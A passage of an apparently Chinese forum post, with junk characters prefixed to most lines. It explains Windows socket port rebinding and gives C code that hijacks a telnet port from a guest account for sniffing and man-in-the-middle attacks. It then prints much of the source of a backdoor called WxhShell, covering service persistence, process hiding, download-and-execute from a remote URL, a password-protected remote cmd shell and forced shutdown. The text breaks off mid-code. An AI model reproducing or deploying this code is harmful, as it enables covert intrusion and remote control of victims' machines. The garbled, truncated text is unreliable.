在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ELZ@0, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%%T?LRv v:gdG|n" saddr.sin_family = AF_INET;
(XNd]G +[`
)t/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
m^o?{
(K 1l s 8 h bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~hb;kc3 8
+mW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+62}//_? (,R\6 这意味着什么?意味着可以进行如下的攻击:
A\})H U.Fs9F4M # 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
F*JbTEOn jGUegeq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
u)[i'ceQZ: 4*9BAv 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
"#8I &xZK ()ww9L2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
T}jW,Ost MP
p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
AHzm9U @ mYFc53B 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$wcTUl G6bvV*TRi 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
.\+c{ p{x6BVw?> #include
tN;^{O-(V #include
`0`#Uf_/$ #include
iSNbbu# #include
^[VEr"X DWORD WINAPI ClientThread(LPVOID lpParam);
t9r
R>Y9 int main()
r2\}_pIj {
Flaqgi/j WORD wVersionRequested;
\rY\wa DWORD ret;
2S//5@~_m WSADATA wsaData;
E %?>
%h BOOL val;
Xdh@ ^` SOCKADDR_IN saddr;
;;N#'.xD SOCKADDR_IN scaddr;
+4F; m_G6 int err;
_^D -nk? SOCKET s;
rX22%~1 SOCKET sc;
y]g5S-G int caddsize;
`('NH]^ HANDLE mt;
l%qfaU2 DWORD tid;
} x
KvN wVersionRequested = MAKEWORD( 2, 2 );
em2Tet err = WSAStartup( wVersionRequested, &wsaData );
JyePI:B&)j if ( err != 0 ) {
>#y1(\e printf("error!WSAStartup failed!\n");
W~5gTiBZ] return -1;
ab[V->>% }
f\z9?Z(~ saddr.sin_family = AF_INET;
F(`Q62o@ Ym#io] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
OKA6S* I5E5,{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3}B-n!|* saddr.sin_port = htons(23);
OI:T#uk5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4{h^O@*g {
|M EJ)LE7 printf("error!socket failed!\n");
@h\i<sh!^ return -1;
E)]emeGd }
_8 l=65GW val = TRUE;
-|P7e //SO_REUSEADDR选项就是可以实现端口重绑定的
;\]DZV4?)r if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[6?x 6_M {
1pqYB]*u_ printf("error!setsockopt failed!\n");
X*a7`aL return -1;
*-'`Ea }
oJZ0{^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0ke1KKy/d //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
#fFD|q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
qnzNJ_ `R Q'[~$~&` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]j.!
{
w$`u_P|@E: ret=GetLastError();
I.o3Old printf("error!bind failed!\n");
ltHuN;C\ return -1;
n.A*(@noe }
xOZvQ\% listen(s,2);
.:/X~{ while(1)
~]BR(n {
)+.AgqxI caddsize = sizeof(scaddr);
"WqM<kLa //接受连接请求
qJ$S3B sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
xzRC % if(sc!=INVALID_SOCKET)
1?r$Rx<R {
BT(G9Pj; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
hP/uS%X if(mt==NULL)
<JZa {
(CE2]Nv9") printf("Thread Creat Failed!\n");
.yb8<q s break;
s%?<:9 }
V{{UsEVO }
XX*f CloseHandle(mt);
0qBXL;sE }
x!onan closesocket(s);
M<@9di7c WSACleanup();
r?x~`C return 0;
lb]k"L%KU7 }
G+iJS!= DWORD WINAPI ClientThread(LPVOID lpParam)
Kt_HJ! {
[ <Q{ SOCKET ss = (SOCKET)lpParam;
V.[b${ SOCKET sc;
C|rl",& unsigned char buf[4096];
}U b "Vb SOCKADDR_IN saddr;
S1!_ IK$m long num;
os(}X(
DWORD val;
/`w'X/'VJ DWORD ret;
-Q!?=JNtQ //如果是隐藏端口应用的话,可以在此处加一些判断
n4
Y
]v //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}Z`@Z' saddr.sin_family = AF_INET;
4;w#mzd saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
OmP(&t7 saddr.sin_port = htons(23);
B^hK if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]j(Ld\:L {
dRTpGz printf("error!socket failed!\n");
<pUc(
tPoz return -1;
j MA%`*r }
)sapUnqrlR val = 100;
s_,&"-> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<zu)=W'R] {
qj?I*peK) ret = GetLastError();
wJF$<f7P return -1;
UOIZ8Po }
td+[Na0d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1 z[blNs& {
4_S%K& ret = GetLastError();
Zn'y"@%t[ return -1;
P+3)YO1C }
sQT,@'" if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Jaf=qwZ/` {
dGc>EZSdj printf("error!socket connect failed!\n");
5xG/>fn closesocket(sc);
!Jo.Un7 closesocket(ss);
t{/
EN)J return -1;
14\!FCe)! }
+'I8COoiv% while(1)
.LNqU#a {
to 3i!b //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
yM34G S=,J //如果是嗅探内容的话,可以再此处进行内容分析和记录
1'* {VmM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
@aGS~^Uh num = recv(ss,buf,4096,0);
Mq,_DQ if(num>0)
vGPaW YV send(sc,buf,num,0);
JGk,u6K7 else if(num==0)
)^'wcBod, break;
ZZ6F0FLXJ num = recv(sc,buf,4096,0);
O4 Y; if(num>0)
Va'K~$d_ send(ss,buf,num,0);
YJwz*@l else if(num==0)
__||cQ break;
BcoE&I?[m| }
0b}lwo,|\ closesocket(ss);
+<I1@C closesocket(sc);
O~&l.>?? return 0 ;
/h%MWCZWm^ }
oDas~0<oh 8%#uZG\} h-h}NCP ==========================================================
Jh:-<xy) 3'2}F%!Mv 下边附上一个代码,,WXhSHELL
1')/ BM2 s/'gl ==========================================================
_'oy
C(:} <`m.Vbvm" #include "stdafx.h"
-.WVuc` `+/[0B=. #include <stdio.h>
h Tn^:%( #include <string.h>
B[MZPv) #include <windows.h>
Bj7\{x,? #include <winsock2.h>
>heih%Ar0J #include <winsvc.h>
z*>CP #include <urlmon.h>
JGD{cr[S !ZV#~t:) #pragma comment (lib, "Ws2_32.lib")
XsHl%o8,z #pragma comment (lib, "urlmon.lib")
HIeMV,.QN }Mo9r4} #define MAX_USER 100 // 最大客户端连接数
5cQBqH] #define BUF_SOCK 200 // sock buffer
c#;LH5KI #define KEY_BUFF 255 // 输入 buffer
"Hjw Vt4}!b(O #define REBOOT 0 // 重启
3B"rI #define SHUTDOWN 1 // 关机
I_ .;nU1xA A1f]HT #define DEF_PORT 5000 // 监听端口
+CNRSq" I.e' #define REG_LEN 16 // 注册表键长度
a^5`fA/L, #define SVC_LEN 80 // NT服务名长度
E(U}$Zey ddHIP`wb // 从dll定义API
k*c:%vC! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1y"37;x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
MgMLfgt"V typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7<^D7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
KwQO,($,] )SUN+YV^ // wxhshell配置信息
Q84KU8?d struct WSCFG {
W{m0z+N[B int ws_port; // 监听端口
N<> dg char ws_passstr[REG_LEN]; // 口令
_zmx int ws_autoins; // 安装标记, 1=yes 0=no
d8RpL{9\7 char ws_regname[REG_LEN]; // 注册表键名
p
go\(K0 char ws_svcname[REG_LEN]; // 服务名
rrwsj` char ws_svcdisp[SVC_LEN]; // 服务显示名
TcfBfscU char ws_svcdesc[SVC_LEN]; // 服务描述信息
Jp-ae0 Ewa char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Z#MODf0H@ int ws_downexe; // 下载执行标记, 1=yes 0=no
g&E_|}u4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M*S5&xpX char ws_filenam[SVC_LEN]; // 下载后保存的文件名
fp![Pbms. Z%OS W };
>;3c;nf N[+dX_h // default Wxhshell configuration
=;/h{
t struct WSCFG wscfg={DEF_PORT,
usTCn3u "xuhuanlingzhe",
V!<#E)-?< 1,
l*:p== "Wxhshell",
S8)awTA9 "Wxhshell",
.RWBn~b#I "WxhShell Service",
tl^[MLQa "Wrsky Windows CmdShell Service",
&s < "Please Input Your Password: ",
E0DEFB 1,
eXaDx%mM "
http://www.wrsky.com/wxhshell.exe",
Rt:PW}rFf "Wxhshell.exe"
-<O:isB };
zuPH3Q={ KnFbRhu[ // 消息定义模块
M{4_BQ4$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
G<dXJ ]\\ char *msg_ws_prompt="\n\r? for help\n\r#>";
#dfW1@m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
y14@9<~9 char *msg_ws_ext="\n\rExit.";
pq&c]8H char *msg_ws_end="\n\rQuit.";
Go67VqJr char *msg_ws_boot="\n\rReboot...";
TnaIRJ\B char *msg_ws_poff="\n\rShutdown...";
aBC[(}Pb] char *msg_ws_down="\n\rSave to ";
Fszk?0T B&$89]gs| char *msg_ws_err="\n\rErr!";
5Q}@Y3 i= char *msg_ws_ok="\n\rOK!";
2$ rq d?P
aZz{4 char ExeFile[MAX_PATH];
0Yjy int nUser = 0;
;hZ@C!S: HANDLE handles[MAX_USER];
5nn*)vK { int OsIsNt;
Bm7GU`j" QE}@|H9xs SERVICE_STATUS serviceStatus;
4yM8W\je SERVICE_STATUS_HANDLE hServiceStatusHandle;
;i#gk%-
2 ^,5.vfES // 函数声明
X>6a@$Mx P int Install(void);
_#F'rl6' int Uninstall(void);
uR%H"f int DownloadFile(char *sURL, SOCKET wsh);
qpeK><o int Boot(int flag);
*3K"Kc2 void HideProc(void);
#?=cg]v_ int GetOsVer(void);
,'673PR int Wxhshell(SOCKET wsl);
FS}z_G|4] void TalkWithClient(void *cs);
+J4t0x int CmdShell(SOCKET sock);
%dU}GYL_ int StartFromService(void);
/YbL{G
)j} int StartWxhshell(LPSTR lpCmdLine);
eBV{B70k ybG)=0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
i=a LC*@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
@6!JW(,]\ <<1oc{i // 数据结构和表定义
=KZ4:d5 SERVICE_TABLE_ENTRY DispatchTable[] =
Vel;t<1 {
$S}x'F!4_ {wscfg.ws_svcname, NTServiceMain},
ZkJM?Fzq {NULL, NULL}
D.6dPzu` };
\}=b/FL=U p o`$^TB^+ // 自我安装
}sU\6~ int Install(void)
KV*:,> {
7e<Q{aB char svExeFile[MAX_PATH];
I@ k8^ HKEY key;
Jq#Cn+zW strcpy(svExeFile,ExeFile);
F%d"gF0qu ;^*!<F%t9R // 如果是win9x系统,修改注册表设为自启动
`Vi:r9|P if(!OsIsNt) {
iPOZ{'Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-!cAr
< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
b9N4Gr RegCloseKey(key);
o%%fO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^!qmlx* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
TH!8G,(w RegCloseKey(key);
pQ Y> return 0;
Q2NnpsA^6 }
G~L?q~b }
`RcNqPY#S }
sriz
b else {
JY+[ srLr~^$j[ // 如果是NT以上系统,安装为系统服务
72zuI4& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
A%1=6 if (schSCManager!=0)
MGzF+ln^U {
!y`e,(E SC_HANDLE schService = CreateService
C#&6p0U (
jTr4A-" schSCManager,
;NeP&)Td wscfg.ws_svcname,
,<^HB+{Wo wscfg.ws_svcdisp,
ha=z<Q SERVICE_ALL_ACCESS,
v`BG1&/| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
cvA\C_ SERVICE_AUTO_START,
]P$DAi SERVICE_ERROR_NORMAL,
<\g&%c, svExeFile,
~,68S^nP)H NULL,
CJixK>Y^ NULL,
~bTae =FP NULL,
;x^,t@ xge NULL,
S\5k'ifh NULL
+[/r^C );
NCFV if (schService!=0)
y
UAn~!s {
ue"?S6 CloseServiceHandle(schService);
';,Bn9rv CloseServiceHandle(schSCManager);
{7>CA'> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Q;O)>K strcat(svExeFile,wscfg.ws_svcname);
~x"79=!W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vCSB8R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
c/Yi0Rl) RegCloseKey(key);
aX)./ return 0;
JvL'gJ$70 }
)K>@$6H+2 }
q{/Jw"e CloseServiceHandle(schSCManager);
5Y=\~,%\oH }
t=rAcyNM }
s;7qNwYO %*c|[7Z~V return 1;
c dbSv=r }
dMmka -QPWi2:k // 自我卸载
{IHK<aW int Uninstall(void)
aSkx#mV {
hO.G'q$V HKEY key;
qd~98FS YG~ o if(!OsIsNt) {
<>i+R#u{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
n qLAby_ RegDeleteValue(key,wscfg.ws_regname);
-5v.1y=!L RegCloseKey(key);
mv*T=N8fC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kj!7|1i2 RegDeleteValue(key,wscfg.ws_regname);
Au} ;z6k RegCloseKey(key);
vj&5` return 0;
4t
Nv q }
/cC6qhkp% }
YOV4)P" }
QlYs7zZ else {
SWjQ.aM Q!Ow{(| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ioNa~F& if (schSCManager!=0)
pJIE@Q|hi {
_*ouo<x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
NTXL>Q*e if (schService!=0)
>2CusT 2 {
b]<HhU if(DeleteService(schService)!=0) {
VNrO(j DUv CloseServiceHandle(schService);
MJKl]& CloseServiceHandle(schSCManager);
cYM~IA return 0;
(:-Jl"&R@ }
#C1A5JE& CloseServiceHandle(schService);
,r 2VP\hLh }
k5t^s CloseServiceHandle(schSCManager);
)s<WG} }
Yuo1'gE+ }
).}k6v[4) BU:Ecchbr return 1;
n R\n\
}
Sci4EGc Wx?&igh // 从指定url下载文件
I\rZk9F int DownloadFile(char *sURL, SOCKET wsh)
::OFW@dS {
*V6QBe HRESULT hr;
.z$Sm char seps[]= "/";
3P#+)
F~ char *token;
5`"*y iv char *file;
$FQcDo|[ char myURL[MAX_PATH];
7<1fKrN?GF char myFILE[MAX_PATH];
AX!>l; 0^}'+t,lc strcpy(myURL,sURL);
5+bFy.UW token=strtok(myURL,seps);
60,-\h while(token!=NULL)
A?Nn>xF9X {
WiNr866nB file=token;
J[!x%8m token=strtok(NULL,seps);
K)Zkj"y }
Z?(4%U5z BLwfm+ m" GetCurrentDirectory(MAX_PATH,myFILE);
a#Kmj0 strcat(myFILE, "\\");
o'^;tLs15 strcat(myFILE, file);
WHgV_o 8 send(wsh,myFILE,strlen(myFILE),0);
q)?p$\ send(wsh,"...",3,0);
O+o ;aa6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
4aN+}TkH@G if(hr==S_OK)
P#[IUXtT return 0;
4Hml.|$ else
'Gl;Ir^ return 1;
0Q$~k 'je8k7`VA }
]^; b B 9LSxB // 系统电源模块
R2N^' int Boot(int flag)
13.{Y) {
bk7^%O> HANDLE hToken;
&gWMl`3^*! TOKEN_PRIVILEGES tkp;
@TA8^ND t}]9VD9
if(OsIsNt) {
c>S"`r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>G<\1R LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Na.
nA tkp.PrivilegeCount = 1;
KP=D! l&q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
t&R!5^R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
C|4U78f{ if(flag==REBOOT) {
&@4.;u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
E 4='m return 0;
p*pn@z }
Iys6R?~ else {
HZDk
<aU/! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{ r6]MS#l1 return 0;
O1?B{F/ e }
1 [fo'M }
ka2F! else {
*MYt:ms if(flag==REBOOT) {
(|g").L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>`hSye{ return 0;
Gva}J6{ }
?eL='>Ne else {
pXPqDA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
s?^,iQ+tp return 0;
S}.\v< }
0
&*P}U}Uc }
m x3}m?WQ H\)gE> return 1;
_kn]#^ucCe }
+P[88! u?q&K|
// win9x进程隐藏模块
Zk]k1]u*5 void HideProc(void)
3TU'*w
& {
7o;x (9 >"cr-LB HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
s.^c..e75C if ( hKernel != NULL )
*nYB o\@g {
CV!;oB&
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
OM20-KDc5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gI)w^7Gi FreeLibrary(hKernel);
<K.Bq] }
I:F'S# EvwbhvA( return;
0=OD?48< }
E x_L!9>! 4id3P{aU // 获取操作系统版本
i^je.,Bi int GetOsVer(void)
'rS'B.D {
WYSck&9 OSVERSIONINFO winfo;
T?H\&2CLT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
ZJ^s} GetVersionEx(&winfo);
0SJ{@* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7'_nc!ME return 1;
Z,0O/RFJ.q else
/K_ i8!y return 0;
:~t<L%tYF }
qPsyqn?Y| d4d\0[ // 客户端句柄模块
&bB6}H( int Wxhshell(SOCKET wsl)
\4OK!6LkI {
HS{P?~:=U SOCKET wsh;
M'^(3#ZU struct sockaddr_in client;
C0zrXhY_v DWORD myID;
*I=_*LoG2 -"F0eV+y while(nUser<MAX_USER)
8dc538:q} {
_kh>Z int nSize=sizeof(client);
BiA>QQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Ru)(dvk}S if(wsh==INVALID_SOCKET) return 1;
e@[9C(5E" >RM
0=bO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[/?c@N, if(handles[nUser]==0)
v-ThdE$G# closesocket(wsh);
EtGH\?d~] else
?Rlgv5P! nUser++;
Y.E?;iS }
wOjv[@d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
DWuRJ ?#4+r_dP return 0;
(Ar?QwP9> }
~Y% :
3 ,MRvuw0P // 关闭 socket
* !X4P void CloseIt(SOCKET wsh)
5QR}IxQ {
GXO4x|08F closesocket(wsh);
*0O<bm nUser--;
>5c]aNcv ExitThread(0);
#De(*&y2 }
JdtPY~k0 -eUV`&[4 // 客户端请求句柄
NzAQ@E2d: void TalkWithClient(void *cs)
6!Qknk$ {
YQ52~M0L o1U}/y+R\ SOCKET wsh=(SOCKET)cs;
w.tW=z5 char pwd[SVC_LEN];
"s% 686Vz char cmd[KEY_BUFF];
BjYOfu'~z char chr[1];
H;qJH1EdD int i,j;
)+?HI^-[S _ ~|Q4AJ while (nUser < MAX_USER) {
{-Yee[d<? <p09oZ{6 if(wscfg.ws_passstr) {
[qiOd! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
INOH{`}Ew //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
N9pwWg&<+ //ZeroMemory(pwd,KEY_BUFF);
&1=g A.ZR i=0;
t{~@I while(i<SVC_LEN) {
Hv3W{| (e(Rr4 // 设置超时
)R~a;?T_c0 fd_set FdRead;
2@fa
rx: struct timeval TimeOut;
+1x)z~q= FD_ZERO(&FdRead);
zFOL(s.h|0 FD_SET(wsh,&FdRead);
!Pw$48cg TimeOut.tv_sec=8;
XYts8}y5 TimeOut.tv_usec=0;
"i&fp:E0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|IAW{_9)U if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+Jdm#n?_ Gp,'kw"I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:v_w!+,/ pwd
=chr[0]; x =h0Fq,T
if(chr[0]==0xd || chr[0]==0xa) { 4 HW;
pwd=0; )Xp Vu
break; b9y)wBC%`
} G,B?&gFX
i++; r4EoJyt
} ~zMDY F"&
n%*tMr9 s
// 如果是非法用户,关闭 socket Z&A0hI4d
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TQ?#PRB
} X>}@EHT
bGu([VB
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6i| ~7md,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !j{CuA/
iyc$)"w
while(1) { O)`Gzx*ShU
v[VC2D
ZeroMemory(cmd,KEY_BUFF); )L >Q;'
e9lOk)`t
// 自动支持客户端 telnet标准 hD*(AJ
j=0; &5d\~{;
while(j<KEY_BUFF) { /w0w*nH
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,aWCiu}
cmd[j]=chr[0]; T~h.=5
if(chr[0]==0xa || chr[0]==0xd) { t?HF-zQ
cmd[j]=0; # v+;:
break; FJ}gUs{m
} -qfnUh
j++; $,@JYLC2
} >%l:Dw\A:
L$kgK# T
// 下载文件 oK$'9c5<
if(strstr(cmd,"http://")) { *y?[<2"$
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $C$ub&D
~"
if(DownloadFile(cmd,wsh)) H~eGgm;p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |*ReqM|_C
else 3[.3dy7,Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~pRs-
} *t]v}ZV*
else { jI A#!4
!UVk9
switch(cmd[0]) { \OT6L'l],
]q&tQJ/Fa
// 帮助 ??j&i6sp
case '?': { k/@Tr
:
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NZP7r;u
break; =-5[Hn%
} @i{]4rk lv
// 安装 KJX>DL 9\
case 'i': { \f<z*!,D$
if(Install()) &Q~)]|t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UhdqY]
else :T5A84/C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .zIgbv s
break; m
&!XA
} i?x$w{co
// 卸载 T6X}Ws "
case 'r': { Cx,-_
if(Uninstall()) <S&]$?`{Wi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5e8xKL
else p(?g-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )'t&q/Wn
break; 5D
L,U(Y
} 8gAu7\p}
// 显示 wxhshell 所在路径 )P%4:P
case 'p': { E<k^S{
char svExeFile[MAX_PATH]; fdLBhe#9M
strcpy(svExeFile,"\n\r"); 9(Jy0]E~
strcat(svExeFile,ExeFile); R(`]n!V2
send(wsh,svExeFile,strlen(svExeFile),0); gs>A=A(VYf
break; ]VDn'@uM
} #2N_/J(U
// 重启 X|' 2R^V.
case 'b': { MnS+ nH!d
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DN<M?u]
if(Boot(REBOOT)) ?<6@^X"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c$A@T~$
else { -"tY{}z
closesocket(wsh); kP?_kMOx
ExitThread(0); qlvwK&W<QM
} TL@mM
break; ^e%k~B^
} x 'mF&^
// 关机 gH'3 dS!{
case 'd': { >jKjh!`)!e
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1mix+.d
if(Boot(SHUTDOWN)) XL~>rw<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |T
y=7d ,
else { G1[(F`t>
closesocket(wsh); B!uxs
ExitThread(0); He<;4?:
} &`@lB (m
break; U=DEV7 E
} Zw24f1iY
// 获取shell 8i[LR#D)
case 's': { N|<bVq%
CmdShell(wsh); [<S^c[47U
closesocket(wsh); | k}e&Q_/G
ExitThread(0); t}~UYG(h~
break; #Cx%OIi[f
} Ld~ q1*7J
// 退出 ?BsH{QRYQ
case 'x': { .1{l[[= W
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZB0+GG\
CloseIt(wsh); S<pkc8
break; 2vvh|?M
} C`EY5"N r
// 离开 GW8CaTf~
case 'q': { 2LZS|fB9o
send(wsh,msg_ws_end,strlen(msg_ws_end),0); MQ9vPgh
closesocket(wsh); gwq`_/d}
WSACleanup(); *(Ro;?O,pi
exit(1); aaT5u14%
break; ,5.
<oDH
} u>}zm_
} t)'dF*L
} .pW o >`"
nALnB1
// 提示信息 p&O8qAaO
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A Iv<f9*.:
} }DHUTP2;yz
} #D0W7a
ib; yu_
return; 0Az/fzJlz
} 7H#2WFQ7
@ t|3gF$X
// shell模块句柄 BfVBywty
int CmdShell(SOCKET sock) dQK`sLChv
{ O{u[+g
STARTUPINFO si; !t%Q{`p
ZeroMemory(&si,sizeof(si)); qK,V$l(4#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1!1DuQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wHWma)}-z
PROCESS_INFORMATION ProcessInfo; H0+:XF\M
char cmdline[]="cmd"; q0g1EJar
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eo ?Oir)
return 0; B/G3T
u uG
} <p/MyqZf
+(y>qd
// 自身启动模式 _Fxe|"<^
int StartFromService(void) x G ^f
{ zQ<88E&&Xs
typedef struct 2NYi-@mr
{ "qE {a>d
DWORD ExitStatus; 3(o7co-f
DWORD PebBaseAddress; 4i`S+`#
DWORD AffinityMask; >j:|3atb
